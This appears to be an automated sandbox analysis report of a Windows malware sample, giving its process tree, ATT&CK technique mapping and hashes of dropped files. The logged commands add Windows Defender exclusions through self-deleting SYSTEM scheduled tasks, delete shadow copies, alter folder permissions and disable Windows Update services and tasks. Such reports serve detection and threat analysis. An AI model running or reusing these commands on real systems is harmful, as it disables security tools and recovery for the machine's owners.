  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:2880
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:416
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:3008
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:3168
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:2356
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1416
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4280
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:200
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:2780
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4340
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:5936
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:1388
- C:\Program Files (x86)\d03AaO\zo6yyK.exe
  "C:\Program Files (x86)\d03AaO\zo6yyK.exe"
  2⤵
  PID:4808
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c vssadmin delete shadows /all /quiet
    3⤵
    - Executes a command shell one-liner
    PID:5988
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\d03AaO" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    PID:3740
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\d03AaO" /inheritance:r
      4⤵
      Modifies file permissions
      PID:4100
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    PID:988
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    PID:4588
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    PID:700
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\d03AaO" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    PID:480
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\d03AaO" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Modifies file permissions
      PID:3168
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /q /c "@echo off & (for %i in (wuauserv UsoSvc uhssvc WaaSMedicSvc) do ( net stop %i >nul 2>&1 & sc config %i start= disabled >nul 2>&1 & sc failure %i reset= 0 actions= "" >nul 2>&1 )) & (for %i in (WaaSMedicSvc wuaueng) do ( takeown /f C:\Windows\System32\%i.dll >nul 2>&1 & icacls C:\Windows\System32\%i.dll /grant *S-1-1-0:F >nul 2>&1 & rename C:\Windows\System32\%i.dll %i_BAK.dll >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /setowner "NT SERVICE\TrustedInstaller" >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /remove *S-1-1-0 >nul 2>&1 )) & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f >nul 2>&1 & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f >nul 2>&1 & reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f >nul 2>&1 & erase /f /s /q c:\windows\softwaredistribution\*.* >nul 2>&1 & rmdir /s /q c:\windows\softwaredistribution >nul 2>&1 & powershell -NoProfile -WindowStyle Hidden -Command "& {Get-ScheduledTask -TaskPath '\Microsoft\Windows\InstallService\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateOrchestrator\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateAssistant\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WaaSMedic\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue;}" >nul 2>&1"
    3⤵
    - Executes a command shell one-liner
    PID:3372
  - - C:\Windows\SysWOW64\net.exe
      net stop wuauserv
      4⤵
      PID:3868
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop wuauserv
        5⤵
        
        PID:2132
  - - C:\Windows\SysWOW64\sc.exe
      sc config wuauserv start= disabled
      4⤵
      Launches sc.exe
      PID:1416
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\d03AaO\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    PID:2224
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\d03AaO\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4496
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:3672
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\d03AaO" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
    3⤵
    - Executes a command shell one-liner
    PID:5556

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4436
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:6024

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:4572

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2632
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:4860

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5252
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:4544

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2592
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:1248

C:\Program Files (x86)\d03AaO\zo6yyK.exe
"C:\Program Files (x86)\d03AaO\zo6yyK.exe"
1⤵
PID:1840

C:\Program Files (x86)\d03AaO\zo6yyK.exe
"C:\Program Files (x86)\d03AaO\zo6yyK.exe"
1⤵
PID:1436

C:\Program Files (x86)\NU4WwK\31w7kaF68.exe
"C:\Program Files (x86)\NU4WwK\31w7kaF68.exe"
1⤵
PID:5140

C:\Program Files (x86)\d03AaO\zo6yyK.exe
"C:\Program Files (x86)\d03AaO\zo6yyK.exe"
1⤵
PID:1584

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Installer Packages

T1546.016

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Installer Packages

T1546.016

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry

T1112

System Binary Proxy Execution

T1218

Msiexec

T1218.007

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

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Downloads

e596672.rbs

Path C:\Config.Msi\e596672.rbs
Size 7KB
SHA256 11d58255ecdf5d97d70783954574618d004cf9e6d1d064fc5c54b1daa09c9b34
MD5 d254ae393834fe7182cf118e794a27fe
SHA1 5ae4f491c3f3b9b36896c7c181165ef2ef2192de
SHA512 b93f5f0bda2d4abd0c0feb86c79ef95e231ddc15aa413986d7ce4c766d98dda34f894f1039f6b2388af86b372b93abad0fe6a4c7b19969a79939cc29c28d23f3
SSDEEP 96:zVvGwguT7RCnPhPaUU8l1CsThq5U8l1C6joXPxtThqxH6S5ivW1EVJcWCKpljSu5:z/C4zgIIXgIb8kcKpd
TLSH
T1DDF10C42B700D6F3EF861B75C713176637B2E3E89220578F099D88605E5738C6E9A29F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

XPSPLOG.dll

Path C:\Program Files (x86)\NU4WwK\XPSPLOG.dll
Size 4.6MB
SHA256 d747d9d8ef8ab61dd0eaeb1ddd912a8a743b2aa82ad82649730036668f423d4b
MD5 9c481890382a0de0f1b0c43123ae9877
SHA1 472d2df0d4918bc2ec8cc083d027ff06aa6b9145
SHA512 943cef7719eebcddb39b2e12e05ee1c6febad88c8110392b92053cffa5607a0df774a3aef46168295091fc0a2e27d2de93eea8cd83f74169a3b3d2f968c39c2d
SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdmyQ:BMWKfU+BcUTHCCCfqCiUffnQ
TLSH
T167263349BADB025DD89672704F6AFD7EB2B92CCC4204DC4DD44DE587E8B2729703A90E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

XPSPLOG.dll

Path C:\Program Files (x86)\d03AaO\XPSPLOG.dll
Size 4.6MB
SHA256 fbd4a3df85df0a70e2f14661bdde69909890e27d2b61aeb271e8b652474ec4fe
MD5 85729d39682464b8ac19d9471083b046
SHA1 409a337f4e093820b7a0279b5b1dd040d0fd2180
SHA512 77011027dd1c3080a20cb55a39b22ec2a063bb738b1b7b5de34c33806e3677eef85e402aae34909fbeeea1358195a62d0d7b3b23112c3b6d4e6514a4bc666322
SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdmy6:BMWKfU+BcUTHCCCfqCiUffn6
TLSH
T162263349BADB025DD89672704F6AFD7EB2B92CCC4204DC4DD44DE587E8B2729703A90E
MD5 SHA1 SHA512 SSDEEP TLSH

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image.png

Path C:\Program Files (x86)\d03AaO\image.png
Size 5.0MB
SHA256 1100546bd2d088ab9ea7fd15fd3eac8b454e62cba3a3bfa4ebf90423c19da83a
MD5 bd2008dc940f9bc9df5a1afa247257a3
SHA1 ad5c49970f6429df9d3256bef5e846c7836dd7f0
SHA512 51211ddea52fae9c3ab366c5ee78429143ecc54e2c1dfac38ca3215a22b711bbdf69ac319a8414cf95de6bfacf492d5c8b6f2bf2a1ea3fb13705fec83e81d65c
SSDEEP 98304:kqvO3/u21dcwj8esL9KK5MMrOalZpUC/IQdFOrMeifpHcmI0DoKoxGhUX:A/u21dGs2rOal3UpkiMT59IZVGhW
TLSH
T122363325135D318B6AD6C2DCDF91617AE6814BF0E880CDB837D92FB3527CEBA7088645
MD5 SHA1 SHA512 SSDEEP TLSH

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thumbs.db

Path C:\Program Files (x86)\d03AaO\thumbs.db
Size 358KB
SHA256 4fd6e2cc7dc12948ab1c9c7e326596a285a6edee79b29f63affe3398bd27f354
MD5 6e291652fe92e1ec517ad852b90404ed
SHA1 b3403b0aa22b5b6b66fd0d063f25c0262f0cc1d5
SHA512 eae2c582efc39a9d2460d1778c4e78b87ae629fbd0d3f7c51b49f17729b4a2016869580a2b008f99a8d3390b86cdd2ac7311ce8146ba1c736d43dee32cf13a9c
SSDEEP 6144:niACk/u6n9aBOmmD1oQFu0oMOxKnJPWyD9Dcqt1oFsnrqW7mb/:i8u69CghoQxoMTFQqtKFCz7mb/
TLSH
T17174F268E6651EFE0E175FECE04F58AE9A8FD9E302C900252BF1C6D1CA106E4941FD5E
MD5 SHA1 SHA512 SSDEEP TLSH

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zo6yyK.exe

Path C:\Program Files (x86)\d03AaO\zo6yyK.exe
Size 145KB
SHA256 6d6ba2bc9ad414837826f7278bc3e0116f1aeda02d0c2284ed65819f5d9180a8
MD5 5251b98614acffe5c856f4039ca03da3
SHA1 c80ed6716e89d4862f28ebbc130ec5aa362db963
SHA512 d750c9adb08d9525ee9948c0c18c96f0c9520068aa4aa24885ac0d98790a6cc0a8ce0e71e1c669acd4623e0aabfc08c11c02be403f275b01aa4277c4ddab3302
SSDEEP 3072:VafgcZGuY2TqWLGzwRC7kll1xtBQDTCCvtzaYPFPR/M:Yz8upLGaPQDnFzaYPFdM
TLSH
T16AE30852B6808460F76A0B311864F9E44A6EED3C1AD0E95FF2787D3A1E311C38A7756F
MD5 SHA1 SHA512 SSDEEP TLSH

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destopbak.ini

Path C:\Users\Public\Music\destopbak.ini
Size 2B
SHA256 dd1e2826c0124a6d4f7397a5a71f633928926c0608b62fb9e615ba778acc39ff
MD5 7e74f75663e5b5a4f3452a4c603ee45d
SHA1 d5114b086b721f2c87ea7152025792958ab4c629
SHA512 2f5d0d45593487bebc2ccf968eaf2a4a3bde1d5a29c7c2b5ad411e041c0d3b7a46be439ed7083093057a96030683b9defbed1a2ef7882b3e64cf3fbc7c9cf12f
MD5 SHA1 SHA512

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BlJkD4.exe

Path C:\Users\Public\nxcgnn\BlJkD4.exe
Size 135KB
SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
MD5 9ec587911e501b73b7cf09f05d0ae17d
SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
TLSH
T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
MD5 SHA1 SHA512 SSDEEP TLSH

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UxEnhance64.dll

Path C:\Users\Public\nxcgnn\UxEnhance64.dll
Size 3.1MB
SHA256 bf2c6fe2a37b2d3fd5a6e7cde318eb18477cf804ce54d6cf16700151612d75e5
MD5 a126304c23e673b15d5726bc8261dc45
SHA1 584e82005a004b17c7f27c1e1be17b8ba2ab9b0a
SHA512 6119bce9f65279a90feee2fdcb3bca09f7502968974720ab606a2d7e4b57e19b9bb29a51f4140acb5d7dda62685e5f6971d3087ea2a0fa055aa16b39a508b51c
SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+w:P9m29xx3Tiqt06ox6+z2rNNrKow
TLSH
T192E523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
MD5 SHA1 SHA512 SSDEEP TLSH

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adoresd.dat

Path C:\Users\Public\nxcgnn\adoresd.dat
Size 4.7MB
SHA256 9c7efa1f73d42006b2ca732ec99bd8386ca6aa1e561d651f59b1e31eb838f278
MD5 d4dabfeab8208c1e85e61fb44c1a9ffb
SHA1 553b1a7e132154b40466ed22d79bc1e5af36cf56
SHA512 d7a773f9210fa2705650ce17bfd8be679dc042045a8261cfa8a863371dee974d54f00984691a754fd114aa64782ed105014d91c6842e263c881cf5d74a4265db
SSDEEP 98304:cmu1SwODpRGIRdXEMZYe6rFLoTTpMk6ZGvQv0Ss2i+XZXea1v5WZd8uCp:Pu1SwOflfZPF6Ma0bsoa5+qd
TLSH
T1AC3633368AE6F5C7E35B2A0AF36888DD12B0B7AD6E9D75C24AF070145DB30CE9015BC4
MD5 SHA1 SHA512 SSDEEP TLSH

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msadox.tb

Path C:\Users\Public\nxcgnn\msadox.tb
Size 8KB
SHA256 5fb1c3b9b59eb8a7d999fba80c32fac535c1a60b239a70ed20dfe7a7936a7406
MD5 1f033808b43914c3b5e5a8787a2bfab9
SHA1 9ac092f897338b9ff18458d87d6126c2c9543730
SHA512 427108d7ed98631710eb8d6229eec8d9e09ff586b2bd51ea8231c52b09f25c2a64b5d2121fed0ac951a32101d31a674a9de359b4dba0019cf6ca316511a08d3b
SSDEEP 192:6qbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:6sZqZOXQ3uqvR2Kfzp
TLSH
T19B029E05D7A20CC3E2016C71CD9EB2F5AB13A1DADA3926719C67D4C167072DD2CE620D
MD5 SHA1 SHA512 SSDEEP TLSH

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MSI6CCB.tmp

Path C:\Windows\Installer\MSI6CCB.tmp
Size 5.8MB
SHA256 5394028097aac1a174009015e135167c272840a048804023e3ca51c1c8fa7a1d
MD5 edd821b414f73fffffec2c2a2b50158a
SHA1 55aa2dda85f4e80ebbc8263836b53d2f56f7edb1
SHA512 ab83aae1ad4874165a0464ef10011147a354db77221cf505c149c98f58b31da0880847ab2b74adaf97bc8c38f12ad62279eb37512baf67300597ae8870e6a71d
SSDEEP 98304:gJ9KtA6QN/1ps9nU7s4y/vT41r6J/uGlpOe9IsRUo2zyyXxy31x:W9VN/A9nNMd6lZjVIsao2fw31x
TLSH
T15E56338269CA73F0D45BD3709522B41C711D7FC0EEB91C1A7AED2B581E37B0618BA35A
MD5 SHA1 SHA512 SSDEEP TLSH

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e596671.msi

Path C:\Windows\Installer\e596671.msi
Size 5.8MB
SHA256 325bdb88095b07af4d2cca7aa033a0372e200b06f826a2225c3fed007db677c7
MD5 8a5ec3eba15eda8895f4be5cf3b155a8
SHA1 3d1b739505424bf1e6f2a4d8b0659abf79bbba83
SHA512 9aeff36069f7c174ea604546ad9fd60fea26bafb766eeffcdf312e811d211448b03cba992e0279a8de0adcd25564f66e5116f7e9a8ab2fb58b0aa1259c07ba25
SSDEEP 98304:6J9KtA6QN/1ps9nU7s4y/vT41r6J/uGlpOeKIsRUo2zyyXxy319:49VN/A9nNMd6lZjiIsao2fw319
TLSH
T1AA563382B9CA73B0D45BD3709522B55C722DBFC0EEB51C1B76A9360C1E37B0518BA35A
MD5 SHA1 SHA512 SSDEEP TLSH

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metadata-2

Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
Size 26.1MB
SHA256 6e999dc17bf08b14bd2dd950471d379524a0b3ee4197e5eff32b43862e5f60d8
MD5 830f6e85fe43c687b172501f71944cb8
SHA1 5b37115c2d8f96383ef81f0c97dd9cf9fe4b8128
SHA512 fd781702ce1510323f3ea1fbf7dd6aedc60c6882be84fe8befd1341bb834b96531b79e7198e88b5ceaf367d444930f0948ceed943443abf9c845ac0b2ffeec60
SSDEEP 24576:qFo3DMPwdoO/vvTL/SwyiCFAvre45LFB0vkwN/8qUn8aZ1jS8Ih2ibYDGuo:vHE
TLSH
T1AC57B42436F92100EBF7AE3CA8F06A274D397D57AC16DE8D45511B4D0822F71E872F6A
MD5 SHA1 SHA512 SSDEEP TLSH

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{66a8a26b-e75b-4957-9dd1-81a920e8ea93}_OnDiskSnapshotProp

Path \??\Volume{c61f8367-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{66a8a26b-e75b-4957-9dd1-81a920e8ea93}_OnDiskSnapshotProp
Size 6KB
SHA256 cee7d4d78d40fee5c75887434e876eb68fe2ca09474db504df9c4c407b8daf46
MD5 de796f2ccdfccdbeacd66546c819efba
SHA1 ede1c1f46228bf6fcf41a3b52b4c4bb96484f1eb
SHA512 47f95af97ebbb3764d6d004b51485f674c6d82afc6e4b27ffcf5f0348cac2c5350d628c3bd3a26544f4d33de9606e305733c5b3b4876bacaed016f73f6fbb49c
SSDEEP 96:FjZMlwvc6DD84LTHzbOHXOHBlBRQn8Sc9XE56tOSVQpuN:5Zpb++uVmN
TLSH
T1B9D177185AE54711E2B3AB3129F18557A837B911FF33CB8E0198238E2621910F975F6B
MD5 SHA1 SHA512 SSDEEP TLSH

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xxxx.ini

Path \??\c:\xxxx.ini
Size 2B
SHA256 7eb70257593da06f682a3ddda54a9d260d4fc514f645237f5ca74b08f8da61a6
MD5 81051bcc2cf1bedf378224b0a93e2877
SHA1 ba8ab5a0280b953aa97435ff8946cbcbb2755a27
SHA512 1b302a2f1e624a5fb5ad94ddc4e5f8bfd74d26fa37512d0e5face303d8c40eee0d0ffa3649f5da43f439914d128166cb6c4774a7caa3b174d7535451eb697b5d
MD5 SHA1 SHA512

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memory/1436-272-0x00000000016D0000-0x00000000016D1000-memory.dmp

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memory/1436-253-0x0000000003CA0000-0x00000000044A7000-memory.dmp

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memory/1436-266-0x00000000016F0000-0x00000000016F1000-memory.dmp

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memory/1436-247-0x00000000750A0000-0x00000000757EA000-memory.dmp

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memory/1436-267-0x0000000003CA0000-0x00000000044A7000-memory.dmp

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memory/1436-246-0x00000000016D0000-0x00000000016D1000-memory.dmp

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memory/1840-258-0x0000000001470000-0x0000000001471000-memory.dmp

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memory/1840-259-0x00000000038F0000-0x00000000040F7000-memory.dmp

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memory/1840-262-0x0000000001210000-0x0000000001211000-memory.dmp

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memory/1840-239-0x0000000001210000-0x0000000001211000-memory.dmp

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memory/1840-251-0x00000000038F0000-0x00000000040F7000-memory.dmp

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memory/1840-240-0x00000000750A0000-0x00000000757EA000-memory.dmp

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memory/2272-63-0x00007FF868940000-0x00007FF868942000-memory.dmp

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memory/2272-86-0x00000259FA180000-0x00000259FA20A000-memory.dmp

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memory/2272-55-0x00007FF868930000-0x00007FF868932000-memory.dmp

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memory/2272-56-0x00007FF844D20000-0x00007FF84523E000-memory.dmp

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memory/2272-61-0x00000259FAC00000-0x00000259FB491000-memory.dmp

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memory/2272-90-0x00000259FAC00000-0x00000259FB491000-memory.dmp

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memory/2272-91-0x00000259FAC00000-0x00000259FB491000-memory.dmp

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memory/2272-88-0x00000259FAC00000-0x00000259FB491000-memory.dmp

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memory/2272-75-0x00000259FAC00000-0x00000259FB491000-memory.dmp

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memory/2272-84-0x00000259FA180000-0x00000259FA20A000-memory.dmp

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memory/2272-85-0x00000259FA180000-0x00000259FA20A000-memory.dmp

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memory/2272-64-0x00000259FAC00000-0x00000259FB491000-memory.dmp

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memory/2272-81-0x00000259F88B0000-0x00000259F88FE000-memory.dmp

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memory/2272-82-0x00000259FA180000-0x00000259FA20A000-memory.dmp

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memory/2272-71-0x00000259FAC00000-0x00000259FB491000-memory.dmp

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memory/2272-70-0x00000259FAC00000-0x00000259FB491000-memory.dmp

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memory/2272-69-0x00000259FAC00000-0x00000259FB491000-memory.dmp

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memory/2272-68-0x00000259FAC00000-0x00000259FB491000-memory.dmp

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memory/4288-38-0x00007FF857ED0000-0x00007FF857EE2000-memory.dmp

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memory/4288-14-0x00007FF868930000-0x00007FF868932000-memory.dmp

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memory/4288-15-0x00007FF844C10000-0x00007FF845240000-memory.dmp

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memory/4288-18-0x00007FF857ED0000-0x00007FF857EE2000-memory.dmp

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memory/4556-104-0x000001C7F6F00000-0x000001C7F6F1E000-memory.dmp

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memory/4556-106-0x000001C7F6F20000-0x000001C7F6F2A000-memory.dmp

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memory/4556-100-0x000001C7F6EA0000-0x000001C7F6EC2000-memory.dmp

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memory/4556-105-0x000001C7F7180000-0x000001C7F7232000-memory.dmp

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memory/4808-191-0x0000000001050000-0x0000000001051000-memory.dmp

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memory/4808-203-0x00000000010B0000-0x00000000010C4000-memory.dmp

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memory/4808-196-0x00000000033C0000-0x0000000003BC7000-memory.dmp

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memory/4808-238-0x00000000033C0000-0x0000000003BC7000-memory.dmp

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memory/4808-193-0x00000000033C0000-0x0000000003BC7000-memory.dmp

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memory/4808-189-0x00000000033C0000-0x0000000003BC7000-memory.dmp

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memory/4808-185-0x00000000750A0000-0x00000000757EA000-memory.dmp

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memory/4808-184-0x0000000001020000-0x0000000001021000-memory.dmp

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memory/4808-206-0x00000000033C0000-0x0000000003BC7000-memory.dmp

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memory/4808-210-0x0000000010000000-0x0000000010061000-memory.dmp

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memory/4808-235-0x00000000033C0000-0x0000000003BC7000-memory.dmp

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